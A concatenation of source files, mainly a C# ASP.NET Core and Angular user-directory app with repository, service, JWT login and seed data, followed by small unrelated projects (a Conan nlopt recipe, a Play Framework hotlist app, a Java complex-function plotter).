public interface IEntityService<TEntityType, TDTOType>
{
public Task<IEnumerable<TDTOType>> GetAll();
public Task<TEntityType> GetById(long id);
public Task<TDTOType> Insert(TDTOType entity);
public Task<TDTOType> Update(TDTOType entity, long id);
public Task Delete(long id);
}
}<file_sep>/DirectoryApp/Data/Interfaces/IGenericRepository.cs
// <copyright file="IGenericRepository.cs" company="PlaceholderCompany">
// Copyright (c) PlaceholderCompany. All rights reserved.
// </copyright>
namespace Data.Interfaces
{
using System.Linq;
public interface IGenericRepository<T>
{
IQueryable<T> GetAll();
T Insert(T entity);
T Update(T entity);
void Delete(T entity);
}
}
<file_sep>/DirectoryApp/Data/Entities/User.cs
// <copyright file="User.cs" company="PlaceholderCompany">
// Copyright (c) PlaceholderCompany. All rights reserved.
// </copyright>
namespace Data.Entities
{
using System;
using System.ComponentModel.DataAnnotations;
public class User : BaseEntity
{
[Required]
public string Name { get; set; }
[Required]
public string Surname { get; set; }
public string Adress { get; set; }
[Required]
public string Email { get; set; }
[Required]
public string Password { get; set; }
public DateTime DateOfBirth { get; set; }
public bool IsAdmin { get; set; }
}
}
<file_sep>/DirectoryApp/Business/GlobalSuppressions.cs
// <copyright file="GlobalSuppressions.cs" company="PlaceholderCompany">
// Copyright (c) PlaceholderCompany. All rights reserved.
// </copyright>
using System.Diagnostics.CodeAnalysis;
[assembly: SuppressMessage("StyleCop.CSharp.SpacingRules", "SA1027:Use tabs correctly", Justification = "<Approved>")]
[assembly: SuppressMessage("StyleCop.CSharp.DocumentationRules", "SA1600:Elements should be documented", Justification = "<Approved>")]
[assembly: SuppressMessage("StyleCop.CSharp.DocumentationRules", "SA1633:File should have header", Justification = "<Approved>")]
<file_sep>/DirectoryWebApp/src/app/shared/models/login-result.ts
export class LoginResult{
username: string;
email: string;
role: string;
accessToken: string;
refreshToken: string;
}
<file_sep>/DirectoryWebApp/src/app/core/components/login/login.component.ts
import { Component, OnInit, OnDestroy } from '@angular/core';
import { Router, ActivatedRoute } from '@angular/router';
import { AuthService } from '../../services/auth.service';
import { finalize } from 'rxjs/operators';
import { Subscription } from 'rxjs';
import { FormBuilder, FormGroup, Validators } from '@angular/forms';
@Component({
selector: 'app-login',
templateUrl: './login.component.html',
styleUrls: ['./login.component.scss']
})
export class LoginComponent implements OnInit {
form: FormGroup;
busy = false;
username = '';
password = '';
loginError = false;
private subscription: Subscription;
public loginInvalid: boolean;
private formSubmitAttempt: boolean;
constructor(
private route: ActivatedRoute,
private router: Router,
private authService: AuthService,
private fb: FormBuilder,
) { }
ngOnInit(): void {
this.subscription = this.authService.user$.subscribe((x) => {
if (this.route.snapshot.url[0].path === 'login') {
const accessToken = localStorage.getItem('access_token');
const refreshToken = localStorage.getItem('refresh_token');
if (x && accessToken && refreshToken) {
const returnUrl = this.route.snapshot.queryParams.returnUrl || '/users';
this.router.navigate([returnUrl]);
}
}
});
this.createForm();
}
createForm(): void {
this.form = this.fb.group({
email: ['', Validators.email],
password: ['', Validators.required],
});
}
async onSubmit(): Promise<void> {
const returnUrl = this.route.snapshot.queryParams.returnUrl || '/users/userApp';
this.loginInvalid = false;
this.formSubmitAttempt = false;
if (this.form.valid) {
try {
const email = this.form.get('email').value;
const password = this.form.get('password').value;
await this.authService.login(email, password).subscribe(
() => {
this.router.navigate([returnUrl]);
},
() => {
this.loginInvalid = true;
}
);
} catch (err) {
this.loginInvalid = true;
}
} else {
this.formSubmitAttempt = true;
}
}
OnDestroy(): void {
this.subscription?.unsubscribe();
}
}
<file_sep>/DirectoryApp/Data/Extensions/ModelBuilderExtension.cs
// <copyright file="ModelBuilderExtension.cs" company="PlaceholderCompany">
// Copyright (c) PlaceholderCompany. All rights reserved.
// </copyright>
namespace Data.Extensions
{
using System;
using Data.Entities;
using Microsoft.EntityFrameworkCore;
public static class ModelBuilderExtension
{
public static void Seed(this ModelBuilder modelBuilder)
{
modelBuilder.Entity<User>().HasData(
new User
{
Id = 1,
Name = "Lukas",
Surname = "Krištić",
Email = "<EMAIL>",
Adress = "Slavonski Brod, Branimirova 86",
DateOfBirth = DateTime.Parse("24.10.1995"),
Password = "<PASSWORD>",
IsAdmin = true,
},
new User
{
Id = 2,
Name = "Mato",
Surname = "Krištić",
Email = "<EMAIL>",
Adress = "Slavonski Brod, Branimirova 86",
DateOfBirth = DateTime.Parse("10.10.1963"),
Password = "<PASSWORD>",
IsAdmin = true,
},
new User
{
Id = 3,
Name = "Tony",
Surname = "Mitrandil",
Email = "<EMAIL>",
Adress = "Osijek, Stjepana Radića 2",
DateOfBirth = DateTime.Parse("17.09.1991"),
Password = "<PASSWORD>",
IsAdmin = false,
},
new User
{
Id = 4,
Name = "Artemida",
Surname = "Olimp",
Email = "<EMAIL>",
Adress = "Rijeka, Ivana Držića 7",
DateOfBirth = DateTime.Parse("11.05.1993"),
Password = "<PASSWORD>",
IsAdmin = false,
});
}
}
}
<file_sep>/DirectoryApp/Business/AutoMappers/AutoMapperProfile.cs
namespace Business.Automappers
{
using System.Collections.Generic;
using AutoMapper;
using Business.Views;
using Data.Entities;
public class AutoMapperProfile : Profile
{
public AutoMapperProfile()
{
this.CreateMap<User, User>();
this.CreateMap<List<User>, List<UserDTO>>();
this.CreateMap<User, NewUserDTO>();
this.CreateMap<NewUserDTO, User>();
this.CreateMap<LogInUserDTO, User>();
}
}
}
<file_sep>/DirectoryApp/Business/Services/EntityService.cs
namespace Business.Services
{
using System.Collections.Generic;
using System.Linq;
using System.Threading.Tasks;
using AutoMapper;
using Business.Interfaces;
using Data.Entities;
using Data.Interfaces;
using Microsoft.EntityFrameworkCore;
public class EntityService<TEntityType, TDTOType> : IEntityService<TEntityType, TDTOType>
where TEntityType : BaseEntity
{
private readonly IGenericRepository<TEntityType> repository;
private readonly IMapper mapper;
public EntityService(IMapper map, IGenericRepository<TEntityType> repository)
{
this.mapper = map;
this.repository = repository;
}
public async Task Delete(long id)
{
TEntityType entity = await this.GetById(id);
this.repository.Delete(entity);
return;
}
public async Task<IEnumerable<TDTOType>> GetAll()
{
return this.mapper.Map<List<TDTOType>>(this.repository.GetAll());
}
public async Task<TEntityType> GetById(long id)
{
return await this.repository.GetAll()
.Where(x => x.Id == id)
.FirstOrDefaultAsync();
}
public async Task<TDTOType> Insert(TDTOType entity)
{
var entityDB = this.repository.Insert(this.mapper.Map<TEntityType>(entity));
return this.mapper.Map<TDTOType>(entityDB);
}
public async Task<TDTOType> Update(TDTOType entity, long id)
{
TEntityType entityInDB = await this.GetById(id);
entityInDB = this.mapper.Map(entity, entityInDB);
this.repository.Update(entityInDB);
return this.mapper.Map<TDTOType>(entityInDB);
}
}
}
<file_sep>/DirectoryWebApp/src/app/core/services/user.service.ts
import { HttpClient, HttpErrorResponse, HttpHeaders } from '@angular/common/http';
import { Injectable } from '@angular/core';
import { BehaviorSubject, Observable, throwError } from 'rxjs';
import { catchError, tap } from 'rxjs/operators';
import { User } from 'src/app/shared/models/user';
@Injectable({
providedIn: 'root'
})
export class UserService {
readonly apiUrl = 'https://localhost:44342/api/User';
id: number;
newUser: User;
httpOptions = {
headers: new HttpHeaders({ 'Content-Type': 'application/json' })
};
dataChange: BehaviorSubject<User[]> = new BehaviorSubject<User[]>([]);
constructor(private http: HttpClient) { }
getUsers(): Observable<User[]> {
return this.http.get<User[]>(this.apiUrl)
.pipe(
catchError(this.errorHandler)
);
}
addUser(user: User): Observable<User>{
return this.http.post<User>(this.apiUrl, user, this.httpOptions).pipe(
tap((newUser: User) => this.newUser = newUser),
catchError(this.errorHandler)
);
}
updateUser(user: User): Observable<any> {
const id = typeof user === `number` ? user : user.id;
const url = `${this.apiUrl}/${id}`;
this.newUser = user;
return this.http.put(url, user, this.httpOptions).pipe(
catchError(this.errorHandler),
);
}
deleteUser(user: User | number): Observable<User>{
const id = typeof user === `number` ? user : user.id;
const url = `${this.apiUrl}/${id}`;
return this.http.delete<User>(url, this.httpOptions).pipe(
catchError(this.errorHandler)
);
}
errorHandler(error: HttpErrorResponse): Observable<never> {
if (error.error instanceof ErrorEvent) {
console.error('An error occurred:', error.error.message);
} else {
// The backend returned an unsuccessful response code.
// The response body may contain clues as to what went wrong,
console.error(
`Backend returned code ${error.status}, ` +
`body was: ${error.error}`);
}
// return an observable with a user-facing error message
return throwError(
'Something bad happened; please try again later.');
}
}
<file_sep>/DirectoryWebApp/src/app/core/core.module.ts
import { NgModule } from '@angular/core';
import { CommonModule } from '@angular/common';
import { HttpClientModule, HTTP_INTERCEPTORS } from '@angular/common/http';
import { JwtInterceptor } from './interceptors/jwt.interceptor';
import { UnauthorizedInterceptor } from './interceptors/unauthorized.interceptor';
import { AuthService } from './services/auth.service';
import { LoginComponent } from './components/login/login.component';
import { HomeComponent } from './components/home/home.component';
import { SharedModule } from '../shared/shared.module';
import { UserModule } from '../modules/user/user.module';
@NgModule({
declarations: [LoginComponent, HomeComponent],
imports: [
CommonModule,
HttpClientModule,
SharedModule,
UserModule,
],
providers: [
{ provide: HTTP_INTERCEPTORS, useClass: JwtInterceptor, multi: true },
{
provide: HTTP_INTERCEPTORS,
useClass: UnauthorizedInterceptor,
multi: true,
},
],
})
export class CoreModule { }
<file_sep>/DirectoryApp/Business/Services/UserService.cs
namespace Business.Services
{
using System.Linq;
using System.Threading.Tasks;
using AutoMapper;
using Business.Interfaces;
using Business.Views;
using Data.Entities;
using Data.Interfaces;
using Microsoft.EntityFrameworkCore;
public class UserService : IUserService
{
private readonly IGenericRepository<User> userRepository;
private readonly IMapper mapper;
public UserService(IMapper map, IGenericRepository<User> userRepository)
{
this.mapper = map;
this.userRepository = userRepository;
}
public async Task<bool> CheckUserEmail(string email)
{
var user = await this.userRepository.GetAll()
.Where(u => u.Email == email)
.FirstOrDefaultAsync();
if (user != null)
{
return false;
}
return true;
}
public async Task<NewUserDTO> GetUser(LogInUserDTO loginUser)
{
var user = await this.userRepository.GetAll()
.Where(u => u.Email == loginUser.Email && u.Password == loginUser.Password)
.FirstOrDefaultAsync();
return this.mapper.Map<NewUserDTO>(user);
}
}
}
<file_sep>/DirectoryApp/Data/DataContext/AplicationContext.cs
// <copyright file="AplicationContext.cs" company="PlaceholderCompany">
// Copyright (c) PlaceholderCompany. All rights reserved.
// </copyright>
namespace Data.DataContext
{
using Data.Entities;
using Data.Extensions;
using Microsoft.EntityFrameworkCore;
public class AplicationContext : DbContext
{
public AplicationContext(DbContextOptions<AplicationContext> options)
: base(options)
{
}
protected override void OnModelCreating(ModelBuilder modelBuilder)
{
modelBuilder.Entity<User>();
modelBuilder.Seed();
}
}
}
<file_sep>/DirectoryApp/Business/Views/LogInUserDTO.cs
// <copyright file="LogInUserDTO.cs" company="PlaceholderCompany">
// Copyright (c) PlaceholderCompany. All rights reserved.
// </copyright>
namespace Business.Views
{
using System.ComponentModel.DataAnnotations;
public class LogInUserDTO
{
[Required]
public string Email { get; set; }
[Required]
public string Password { get; set; }
}
}
<file_sep>/DirectoryWebApp/src/app/modules/user/dialogs/delete-user/delete-user.component.ts
import { Component, Inject, OnInit } from '@angular/core';
import { MatDialogRef, MAT_DIALOG_DATA } from '@angular/material/dialog';
import { UserService } from 'src/app/core/services/user.service';
@Component({
selector: 'app-delete-user',
templateUrl: './delete-user.component.html',
styleUrls: ['./delete-user.component.scss']
})
export class DeleteUserComponent {
constructor(public dialogRef: MatDialogRef<DeleteUserComponent>, @Inject(MAT_DIALOG_DATA) public data: any,
private userService: UserService) { }
async confirmDelete(): Promise<void> {
this.userService.deleteUser(this.data.id).toPromise();
}
onNoClick(): void {
this.dialogRef.close();
}
}
<file_sep>/DirectoryWebApp/src/app/modules/user/user.module.ts
import { NgModule } from '@angular/core';
import { CommonModule } from '@angular/common';
import { UserComponent } from './components/user/user.component';
import { RouterModule, Routes } from '@angular/router';
import { SharedModule } from '../../shared/shared.module';
import { ZaProbuComponent } from './components/za-probu/za-probu.component';
import { UpdateUserComponent } from './dialogs/update-user/update-user.component';
import { AddUserComponent } from './dialogs/add-user/add-user.component';
import { DeleteUserComponent } from './dialogs/delete-user/delete-user.component';
const routes: Routes = [
{ path: '', redirectTo: '/userApp', pathMatch: 'full' },
{ path: 'userApp', component: UserComponent},
{ path: 'proba', component: ZaProbuComponent},
];
@NgModule({
declarations: [UserComponent, ZaProbuComponent, UpdateUserComponent, AddUserComponent, DeleteUserComponent],
imports: [
CommonModule,
SharedModule,
RouterModule.forChild(routes),
],
exports: [RouterModule]
})
export class UserModule { }
<file_sep>/DirectoryApp/DirectoryApp/Controllers/UserController.cs
// <copyright file="UserController.cs" company="PlaceholderCompany">
// Copyright (c) PlaceholderCompany. All rights reserved.
// </copyright>
namespace DirectoryApp.Controllers
{
using System;
using System.Security.Claims;
using System.Threading.Tasks;
using Business.Interfaces;
using Business.Models;
using Business.Views;
using Data.Entities;
using Microsoft.AspNetCore.Authorization;
using Microsoft.AspNetCore.Mvc;
[Route("api/[controller]")]
[ApiController]
[Authorize]
public class UserController : ControllerBase
{
private readonly IEntityService<User, NewUserDTO> userGenericService;
private readonly IUserService userService;
private readonly IJwtAuthService jwtAuthService;
public UserController(IEntityService<User, NewUserDTO> userRepository, IUserService userService, IJwtAuthService jwtAuthService)
{
this.userGenericService = userRepository;
this.userService = userService;
this.jwtAuthService = jwtAuthService;
}
[HttpGet]
public async Task<IActionResult> GetStudents()
{
var studnents = await this.userGenericService.GetAll();
return this.Ok(studnents);
}
[HttpGet("{id}")]
public async Task<ActionResult<NewUserDTO>> GetStudent(long id)
{
var student = await this.userGenericService.GetById(id);
return this.Ok(student);
}
[HttpPost]
public async Task<ActionResult<NewUserDTO>> AddStudent([FromBody] NewUserDTO user)
{
if (await this.userService.CheckUserEmail(user.Email))
{
this.ModelState.AddModelError("Existing mail", "The user email already exists!");
return BadRequest(this.ModelState);
}
var newUser = await this.userGenericService.Insert(user);
return this.Ok(newUser);
}
[HttpDelete("{id}")]
public async Task<ActionResult<NewUserDTO>> DeleteStudent(long id)
{
await this.userGenericService.Delete(id);
return this.Ok();
}
[HttpPut("{id}")]
public async Task<ActionResult<NewUserDTO>> UpdateStudent(long id, NewUserDTO user)
{
var result = await this.userGenericService.Update(user, id);
if (result == null)
{
return this.NotFound();
}
return this.Ok();
}
[AllowAnonymous]
[HttpPost("login")]
public async Task<ActionResult> Login([FromBody] LogInUserDTO request)
{
var user = await this.userService.GetUser(request);
if (user == null || !user.IsAdmin)
{
return this.Unauthorized();
}
var claims = new[]
{
new Claim(ClaimTypes.Email, request.Email),
new Claim(ClaimTypes.Name, user.Name),
};
var jwtResult = this.jwtAuthService.GenerateTokens(request.Email, claims, DateTime.Now);
return this.Ok(new LogInResult
{
UserName = user.Name,
Role = "Admin",
Email = user.Email,
AccessToken = jwtResult.AccessToken,
RefreshToken = jwtResult.RefreshToken.TokenString,
});
}
}
}
<file_sep>/DirectoryApp/Business/Interfaces/IUserService.cs
namespace Business.Interfaces
{
using System.Threading.Tasks;
using Business.Views;
public interface IUserService
{
Task<NewUserDTO> GetUser(LogInUserDTO loginUser);
Task<bool> CheckUserEmail(string email);
}
}
|
4a11a892a0fbef8ad5a625523f7012dfce521332
|
[
"C#",
"TypeScript"
] | 28
|
TypeScript
|
lukaess/DirectoryApp
|
0cca34d66364785cf08c7f81c25cc7197fccbe88
|
18b609d1436c11fe2a709cd109b7ac794d56300d
|
refs/heads/master
|
<file_sep># conan-nlopt
[  ](https://bintray.com/vthiery/conan-packages/nlopt%3Avthiery/_latestVersion)
[](https://travis-ci.org/vthiery/conan-nlopt)
[](https://github.com/vthiery/conan-nlopt/issues)
[](http://isitmaintained.com/project/vthiery/conan-nlopt "Average time to resolve an issue")
[Conan](https://bintray.com/vthiery/conan-packages/nlopt%3Avthiery) package for [nlopt](https://github.com/stevengj/nlopt)
## IMPORTANT
**Since [conan-io/conan-center-index](https://github.com/conan-io/conan-center-index) maintains a recipe packaging [stevengj/nlopt](https://github.com/stevengj/nlopt) library, this recipe will not be maintained anymore. If possible, please use the package [nlopt](https://conan.io/center/nlopt/2.7.0/) instead.**
## Usage
Add `nlopt/2.4.2@vthiery/stable` in the list of requirements of your conanfile. See [how to use a conanfile.py](http://docs.conan.io/en/latest/mastering/conanfile_py.html) for more information.
## Packaging
See [Conan-Package-Tools](https://github.com/conan-io/conan-package-tools) Github page for more information on packaging.
<file_sep>#include <nlopt.hpp>
/*
*
* Use the example given here: http://ab-initio.mit.edu/wiki/index.php/NLopt_Tutorial
*
*/
double objectiveFunction(unsigned n, const double* x, double* grad, void* my_func_data)
{
if (grad)
{
grad[0] = 0.0;
grad[1] = 0.5 / sqrt(x[1]);
}
return sqrt(x[1]);
}
typedef struct
{
double a, b;
} Constraints;
double constraintFunction(unsigned n, const double* x, double* grad, void* data)
{
Constraints* d = (Constraints*) data;
double a = d->a, b = d->b;
if (grad)
{
grad[0] = 3 * a * (a * x[0] + b) * (a * x[0] + b);
grad[1] = -1.0;
}
return ((a * x[0] + b) * (a * x[0] + b) * (a * x[0] + b) - x[1]);
}
int main()
{
nlopt::opt opt(nlopt::LD_MMA, 2);
std::vector<double> lb(2);
lb[0] = -HUGE_VAL; lb[1] = 0;
opt.set_lower_bounds(lb);
opt.set_min_objective(objectiveFunction, nullptr);
Constraints data[2] = { {2,0}, {-1,1} };
opt.add_inequality_constraint(constraintFunction, &data[0], 1e-8);
opt.add_inequality_constraint(constraintFunction, &data[1], 1e-8);
opt.set_xtol_rel(1e-4);
std::vector<double> x(2);
x[0] = 1.234; x[1] = 5.678;
double minf;
nlopt::result result = opt.optimize(x, minf);
return 0;
}
<file_sep>from conans import ConanFile, AutoToolsBuildEnvironment, tools
class NloptConan(ConanFile):
name = "nlopt"
version = "2.4.2"
license = "MIT"
url = "https://github.com/vthiery/conan-nlopt"
author = "<NAME> (<EMAIL>)"
ZIP_FOLDER_NAME = "nlopt-%s" % version
settings = "os", "compiler", "build_type", "arch"
def source(self):
zip_name = "nlopt-%s.tar.gz" % self.version
tools.download("http://ab-initio.mit.edu/nlopt/%s" % zip_name, zip_name, retry=2, retry_wait=5)
tools.unzip(zip_name)
def build(self):
env_build = AutoToolsBuildEnvironment(self)
with tools.environment_append(env_build.vars):
with tools.chdir(self.ZIP_FOLDER_NAME):
env_build.configure()
env_build.make()
self.run("sudo make install")
def package(self):
self.copy("*.h*", dst="include", src="include", keep_path=False)
self.copy("*.a", dst="lib", src="lib", keep_path=False)
def package_info(self):
self.cpp_info.libs = ["nlopt"]
|
193e721a7c36334c0a1d648e0b9b1b82723ce8cc
|
[
"Markdown",
"Python",
"C++"
] | 3
|
Markdown
|
vthiery/conan-nlopt
|
aa8e4fd6b9db96a6f8b3ba9d955ddfbbfa766ce8
|
6d01d470447edc359598811b21613d50526f16a1
|
refs/heads/master
|
<file_sep>```{r}
library(ggplot2)
library(ggmap)
library(tidyverse)
library(dplyr)
library(sf)
```
```{r}
happydata <- read.csv(file = "C:/Users/magnu/Desktop/kaggle/2019.csv")
#head(happydata)
#world_shape <- read_sf('C:/Users/magnu/Desktop/kaggle','TM_WORLD_BORDERS_SIMPL-0.3.shp')
#world_shape <- read_sf("C:/Users/magnu/Desktop/kaggle/TM_WORLD_BORDERS_SIMPL-0.3.shp")
```
```{r}
library(leaflet)
m <- leaflet() %>%
addTiles() %>% # Add default OpenStreetMap map tiles
addCircleMarkers(lng=9.939779, lat=57.030178, label = "Here we are") %>%
addLabelOnlyMarkers(lng=9.939779, lat=57.030178, label = "Label without marker", labelOptions(textsize="20px"))
m # Print the map
#The same procedure but without the piping %>%
#m <- leaflet()
#m <- addTiles(m)
#m <- addMarkers(m, lng=174.768, lat=-36.852, popup="The birthplace of R")
```
<file_sep>import pandas as pd
import geopandas as gpd
import plotly.graph_objects as go
import plotly.offline
happydata19 = pd.read_csv('2019.csv')
happydata19 = happydata19.set_index('Overall rank')
countries = gpd.read_file('countries.geojson')
countries = countries[countries['ADMIN'] != 'Antarctica']
countries = countries.rename(columns={'ADMIN': 'Country or region'})
countries.to_crs(epsg=3857, inplace=True)
def spatial():
fig = go.Figure(data=go.Choropleth(
locations=happydata19['Country or region'],
z=happydata19['Score'].astype(float),
locationmode='country names',
colorscale='Viridis',
colorbar_title='Happiness<br>Score'
))
fig.update_layout(
title_text='Happy'
)
fig.show()
#spatial()
def spatial2():
data = [dict(type='choropleth', colorscale='Viridis',
locations=happydata19['Country or region'],
z=happydata19['Score'].astype(float),
locationmode='country names',
autocolorscale=False,
reversescale=False,
marker=dict(
line=dict(
color='rgb(180,180,180)',
width=0.5)),
colorbar=dict(
autotick=False,
title='Happiness Score'), )]
layout = dict(
title='Happy',
geo = dict(
showframe = False,
showcoastlines = True,
projection = dict(
type = 'Mercator'
)
)
)
fig = dict(data=data, layout=layout)
plotly.offline.plot(fig,validate=False,filename = 'test.html')
spatial2()
|
faaebeabf002d9514e7dcc9149b3434794962b41
|
[
"Python",
"RMarkdown"
] | 2
|
RMarkdown
|
moleseaau/DataVis
|
48b690930c1141dd954d4cf990a67f828758faf9
|
1ac69b61b60b61ef74efe31f3bd71144a1008c94
|
refs/heads/master
|
<file_sep>package com.thegoldenproof.complexfunctions.desktop;
import com.badlogic.gdx.backends.lwjgl.LwjglApplication;
import com.badlogic.gdx.backends.lwjgl.LwjglApplicationConfiguration;
import com.thegoldenproof.complexfunctions.Main;
public class DesktopLauncher {
public static void main (String[] arg) {
LwjglApplicationConfiguration config = new LwjglApplicationConfiguration();
config.width = 900;
config.height = 400;
config.x = (1920-config.width)/2;
config.y = (1080-config.height)/2;
new LwjglApplication(new Main(), config);
}
}
<file_sep>package com.thegoldenproof.complexfunctions;
import org.apache.commons.numbers.complex.Complex;
import com.badlogic.gdx.ApplicationAdapter;
import com.badlogic.gdx.Gdx;
import com.badlogic.gdx.graphics.Color;
import com.badlogic.gdx.graphics.GL20;
import com.badlogic.gdx.graphics.Pixmap;
import com.badlogic.gdx.graphics.Pixmap.Format;
import com.badlogic.gdx.graphics.Texture;
import com.badlogic.gdx.graphics.g2d.SpriteBatch;
import com.badlogic.gdx.math.Interpolation;
import com.badlogic.gdx.math.Vector2;
public class Main extends ApplicationAdapter {
SpriteBatch batch;
Pixmap inputPlane;
Texture inputTex;
Pixmap outputPlane;
Texture outputTex;
final int planeWidth = 400;
final int planeHeight = 400;
final int graphGap = 100;
final int graphAxisWeight = 2;
double max = Math.PI;
double colorScale = 1/1d;
static enum GradientMode {
LinearH, LinearV, Radial;
}
final GradientMode mode = GradientMode.LinearH;
public Complex f(Complex x) {
return x.sqrt();
}
@Override
public void create () {
batch = new SpriteBatch();
inputPlane = new Pixmap(planeWidth, planeHeight, Format.RGBA8888);
outputPlane = new Pixmap(planeWidth, planeHeight, Format.RGBA8888);
inputTex = new Texture(inputPlane);
outputTex = new Texture(outputPlane);
}
@Override
public void render () {
for (int x = 0; x < planeWidth; x++) {
for (int y = 0; y < planeHeight; y++) {
double _x = (x-planeWidth/2d)/(planeWidth/2d)*max;
double _y = (y-planeWidth/2d)/(planeWidth/2d)*max;
int rgb = isGraphAxis(_x, _y)?0:defColorAt(_x, _y);
inputPlane.drawPixel(x, y, Color.rgba8888(((rgb>>16)&0xFF)/255f,((rgb>>8)&0xFF)/255f,(rgb&0xFF)/255f,1));
Complex output = f(Complex.ofCartesian(_x, _y));
double _x2 = output.getReal();
double _y2 = output.getImaginary();
rgb = isGraphAxis(_x, _y)?0:defColorAt(_x2, _y2);
outputPlane.drawPixel(x, y, Color.rgba8888(((rgb>>16)&0xFF)/255f,((rgb>>8)&0xFF)/255f,(rgb&0xFF)/255f,1));
}
}
//max*=0.995f;
inputTex.draw(inputPlane, 0, 0);
outputTex.draw(outputPlane, 0, 0);
Gdx.gl.glClearColor(0, 0, 0, 1);
Gdx.gl.glClear(GL20.GL_COLOR_BUFFER_BIT);
batch.begin();
batch.draw(inputTex, 0, 0);
batch.draw(outputTex, planeWidth+graphGap, 0);
batch.end();
}
@Override
public void dispose () {
batch.dispose();
inputTex.dispose();
outputTex.dispose();
inputPlane.dispose();
outputPlane.dispose();
}
private int defColorAt(double x, double y) {
switch (mode) {
case LinearH: return java.awt.Color.HSBtoRGB((float)(y*colorScale), 1, 1);
case LinearV: return java.awt.Color.HSBtoRGB((float)(x*colorScale), 1, 1);
default: {
Vector2 v = new Vector2((float)x, (float)y);
return java.awt.Color.HSBtoRGB((float)(v.len()*colorScale), 1, 1);
}
}
}
private boolean isGraphAxis(double x, double y) {
return x == 0 || y == 0;
}
}
|
c72e26c5f996c4e4df63e1c3dfbea4ddae683fa5
|
[
"Java"
] | 2
|
Java
|
TheGoldenProof/complex-functions
|
eb677cd942a43ab8bd1393a78319aae713c978bb
|
11d421c5c40a93a5aeb7c2e873a1f32ff9813148
|
refs/heads/master
|
<repo_name>JohnStamatelos/ng2-routing<file_sep>/app/about/about.component.ts
import { Component, OnInit } from '@angular/core';
@Component({
selector: 'about-page',
template: `
i am the about page
<br>
`,
styles: [``]
})
export class AboutComponent {
}
|
4d9dff1c3861a89df20f39ae4f8f9cb73b5c4420
|
[
"TypeScript"
] | 1
|
TypeScript
|
JohnStamatelos/ng2-routing
|
2cc3516cb2e38f1d54e56410eef0edd4bb91d012
|
d6a7dfd32e1a6c3b8e3d73225ce170ba3ea839ab
|
refs/heads/master
|
<repo_name>allencherry/ssh<file_sep>/ssh-parent/pom.xml
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>allen.han.ssh</groupId>
<artifactId>ssh-parent</artifactId>
<version>0.0.1-SNAPSHOT</version>
<packaging>pom</packaging>
<name>ssh-parent</name>
<url>http://maven.apache.org</url>
<modules>
<module>../ssh-core</module>
</modules>
<distributionManagement>
<snapshotRepository>
<id>ssh-snapshots</id>
<name>User Project SNAPSHOTS</name>
<url>http://10.10.2.184:8081/nexus/content/repositories/ssh-snapshots/</url>
</snapshotRepository>
<repository>
<id>ssh-releases</id>
<name>User Project Release</name>
<url>http://10.10.2.184:8081/nexus/content/repositories/ssh-release/</url>
</repository>
</distributionManagement>
<properties>
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
<mysql.driver>com.mysql.jdbc.Driver</mysql.driver>
<mysql.url>jdbc:mysql://localhost:3306/mysql</mysql.url>
<mysql.username>root</mysql.username>
<mysql.password><PASSWORD></mysql.password>
</properties>
<dependencyManagement>
<dependencies>
<dependency>
<groupId>${project.groupId}</groupId>
<artifactId>ssh-core</artifactId>
<version>${project.version}</version>
<type>jar</type>
</dependency>
<dependency>
<groupId>junit</groupId>
<artifactId>junit</artifactId>
<version>4.10</version>
<scope>test</scope>
</dependency>
<dependency>
<groupId>mysql</groupId>
<artifactId>mysql-connector-java</artifactId>
<version>5.1.18</version>
</dependency>
<dependency>
<groupId>org.hibernate</groupId>
<artifactId>hibernate-core</artifactId>
<version>4.3.0.Final</version>
</dependency>
<dependency>
<groupId>org.slf4j</groupId>
<artifactId>slf4j-log4j12</artifactId>
<version>1.7.6</version>
</dependency>
</dependencies>
</dependencyManagement>
<build>
<pluginManagement>
<plugins>
<plugin>
<groupId>org.codehaus.mojo</groupId>
<artifactId>sql-maven-plugin</artifactId>
<version>1.5</version>
<dependencies>
<dependency>
<groupId>mysql</groupId>
<artifactId>mysql-connector-java</artifactId>
<version>5.1.18</version>
</dependency>
</dependencies>
<configuration>
<driver>${mysql.driver}</driver>
<url>${mysql.url}</url>
<username>${mysql.username}</username>
<password>${mysql.<PASSWORD>}</password>
<sqlCommand>
create database IF NOT EXISTS ssh
</sqlCommand>
</configuration>
<executions>
<execution>
<phase>package</phase>
<goals>
<goal>execute</goal>
</goals>
</execution>
</executions>
</plugin>
</plugins>
</pluginManagement>
</build>
</project>
<file_sep>/ssh-core/src/main/java/allen/han/ssh/core/util/HibernateUtil.java
package allen.han.ssh.core.util;
public class HibernateUtil {
}
|
fd6a4a78b5209100ee119647d33c87c2e23a23ce
|
[
"Java",
"Maven POM"
] | 2
|
Maven POM
|
allencherry/ssh
|
b133e57a89721117bc67aee4b586337bea457a32
|
16b579f15d4223bb2a6309071c8f21754183d232
|
refs/heads/master
|
<file_sep>@(screenName: String, links: Seq[ranking.Link])
<!DOCTYPE html>
<html>
<head>
<title>Guardian Hotlist</title>
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<link href="assets/css/bootstrap.min.css" rel="stylesheet" media="screen">
<link href="assets/css/main.css" rel="stylesheet" media="screen">
<link href="assets/css/bootstrap-responsive.css" rel="stylesheet">
<script src="//ajax.googleapis.com/ajax/libs/jquery/1.10.2/jquery.min.js"></script>
<script src="assets/js/history.js"></script>
</head>
<body>
<div class="navbar navbar-inverse navbar-fixed-top">
<div class="navbar-inner"><div class="container"><a class="brand" href="#">Guardian Hotlist</a></div></div>
</div>
<div style="display:none" id="history_hover">
</div>
<div class="container">
<h1>@@@screenName hotlist</h1>
@for(link <- links) {
<div class="fluid-row">
<div class="span12">
<hr>
<div class="fluid-row">
<div class="span6">
<h4><a href="@link.url" class="show_tweet_history">@link.title.getOrElse("No title")</a></h4>
@link.shares match {
case 1 => {
<p>1 share</p>
}
case n => {
<p>@n shares</p>
}
}
</div>
</div>
</div>
</div>
}
</div>
<script src="assets/js/bootstrap.min.js"></script>
</body>
</html><file_sep># Guardian Hotlist
Tracks what Guardian Twitter account followers are linking to and maintains a
list of what is 'hot' at the moment
<file_sep># --- First database Schema
# --- !Ups
CREATE SEQUENCE s_access_token_id;
CREATE TABLE twitter_access_token (
id bigint DEFAULT nextval('s_access_token_id'),
token varchar(256),
secret varchar(256)
)
# --- !Downs
DROP TABLE twitter_access_token;
